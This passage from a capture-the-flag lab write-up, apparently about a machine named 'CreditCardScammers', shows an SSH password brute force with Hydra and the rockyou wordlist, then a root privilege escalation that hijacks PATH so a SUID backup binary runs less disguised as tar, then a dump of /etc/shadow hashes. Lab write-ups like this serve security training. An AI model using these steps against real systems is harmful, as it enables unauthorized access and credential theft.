jeff@kali:~/Documents/CTFs/CreditCardScammers$ hydra -v -l moneygrabber -P
/usr/share/wordlists/rockyou.txt 192.168.1.28 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service
organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-15 04:34:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended
to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399),
~896525 tries per task
[DATA] attacking ssh://192.168.1.28:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by
ssh://moneygrabber@192.168.1.28:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.28:22
<SNIP>
[STATUS] 139.67 tries/min, 419 tries in 00:03h, 14343980 to do in 1711:42h, 16 active
<SNIP>
[STATUS] 103.23 tries/min, 18065 tries in 02:55h, 14326334 to do in 2313:03h, 16 active

[22][ssh] host: 192.168.1.28 login: moneygrabber password: delta1

[STATUS] attack finished for 192.168.1.28 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 6 final worker threads did not complete until end.
[ERROR] 6 targets did not resolve or could not be connected
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-15 07:42:25
```

> creds found: moneygrabber:delta1

> Log into the Linux host as "moneygrabber" and see that there is a PATH ENV privesc with the binary TAR in the script "/home/moneygrabber/backup.sh" which can be executed with root privileges thanks to SUID binary "/usr/bin/backup"

```
MBP-P3nt3st3r:~ jeff$ ssh moneygrabber@192.168.1.28
MONEY MAKER.
PLEASE LOGIN.
moneygrabber@192.168.1.28's password:
Last failed login: Wed Jul 15 06:42:33 BST 2020 from 192.168.1.21 on ssh:notty
There were 18628 failed login attempts since the last successful login.
Last login: Sun May 10 11:05:38 2020
```

```
[moneygrabber@ppeshop ~]$ sudo -l
```

We trust you have received the usual lecture from the local System

Administrator. It usually boils down to these three things:

- #1) Respect the privacy of others.
- #2) Think before you type.
- #3) With great power comes great responsibility.

[sudo] password for moneygrabber:

Sorry, user moneygrabber may not run sudo on ppeshop.

[moneygrabber@ppeshop ~]\$ su root

Password:

su: Authentication failure

[moneygrabber@ppeshop ~]\$ ls -al

total 24

drwx-----. 2 moneygrabber moneygrabber 133 May 10 11:22 .

drwxr-xr-x. 4 root root 39 May 10 15:51 ..

lrwxrwxrwx. 1 moneygrabber moneygrabber 9 May 9 19:02 .bash_history -> /dev/null

-rw-r--r--. 1 moneygrabber moneygrabber 18 Nov 8 2019 .bash_logout

-rw-r--r--. 1 moneygrabber moneygrabber 141 Nov 8 2019 .bash_profile

-rw-r--r--. 1 moneygrabber moneygrabber 312 Nov 8 2019 .bashrc

-rw-----. 1 moneygrabber moneygrabber 2033 May 10 11:03 .viminfo

-rwxr-xr-x. 1 root root 54 May 9 19:16 backup.sh

-rwx-----. 1 moneygrabber moneygrabber 21 May 10 11:22 flag2.txt

[moneygrabber@ppeshop ~]\$ cat flag2.txt

9N8U10EAVU10cbSZPCRV

[moneygrabber@ppeshop ~]\$ cat backup.sh

#!/bin/bash

tar -cf mysql.tar /var/lib/mysql

sleep 30

```
=====
=====
Step 4. Privilege escalation to root
=====
=====
```

> Privilege escalation to root by manipulating our \$PATH environment variable and executing the SUID binary "/usr/bin/backup"

[moneygrabber@ppeshop ~]\$ echo \$PATH

/home/moneygrabber/.local/bin:/home/moneygrabber/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin

[moneygrabber@ppeshop ~]\$ export PATH=.:\$PATH

```
[moneygrabber@ppeshop ~]$ echo $PATH
./home/moneygrabber/.local/bin:/home/moneygrabber/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin
```

```
[moneygrabber@ppeshop ~]$ cp /bin/less ./tar
```

```
[moneygrabber@ppeshop ~]$ /usr/bin/backup
```

```
mysql.tar: No such file or directory
/var/lib/mysql (press RETURN)
```

```
!id
uid=0(root) gid=1000(moneygrabber) groups=1000(moneygrabber)
!done (press RETURN)
```

```
!cat /etc/shadow
root:$6$ck2F/EKT6zdLk8ks$KYt5/pr4nLa4EKr4Yb2NdJdHN3wWb4Qm7mfYZSPpkjxHyqbv
2tsoGFgzRH/FtSolWHjMdouaWal9kBz8nzLQ8.:18392:0:99999:7:::
bin:!:18078:0:99999:7:::
daemon:!:18078:0:99999:7:::
adm:!:18078:0:99999:7:::
lp:!:18078:0:99999:7:::
sync:!:18078:0:99999:7:::
shutdown:!:18078:0:99999:7:::
halt:!:18078:0:99999:7:::
mail:!:18078:0:99999:7:::
operator:!:18078:0:99999:7:::
games:!:18078:0:99999:7:::
ftp:!:18078:0:99999:7:::
nobody:!:18078:0:99999:7:::
dbus:!!:18391:!:!:!:
systemd-coredump:!!:18391:!:!:!:
systemd-resolve:!!:18391:!:!:!:
tss:!!:18391:!:!:!:
polkitd:!!:18391:!:!:!:
unbound:!!:18391:!:!:!:
rpc:!!:18391:0:99999:7:::
gluster:!!:18391:!:!:!:
libstoragemgmt:!!:18391:!:!:!:
saslauth:!!:18391:!:!:!:
dnsmasq:!!:18391:!:!:!:
radvd:!!:18391:!:!:!:
setroubleshoot:!!:18391:!:!:!:
sssd:!!:18391:!:!:!:
qemu:!!:18391:!:!:!:
cockpit-ws:!!:18391:!:!:!:
rpcuser:!!:18391:!:!:!:
```


sshd:!!:18391:.....
chrony:!!:18391:.....
tcpdump:!!:18391:.....
apache:!!:18391:.....
nginx:!!:18391:.....
mysql:!!:18391:.....
moneygrabber:\$6\$0.h50bxCD2UFYqjK\$Rz0ufnWjesSGujllmP3VS7Y7yHkkklIOApEZP.x6zD5
Fb9c7QICNu64rdDLFIHM6CCndzdbEzZAc7SuNMn3fle1:18392:0:99999:7:::
admin:!!:18392:0:99999:7:::
!done (press RETURN)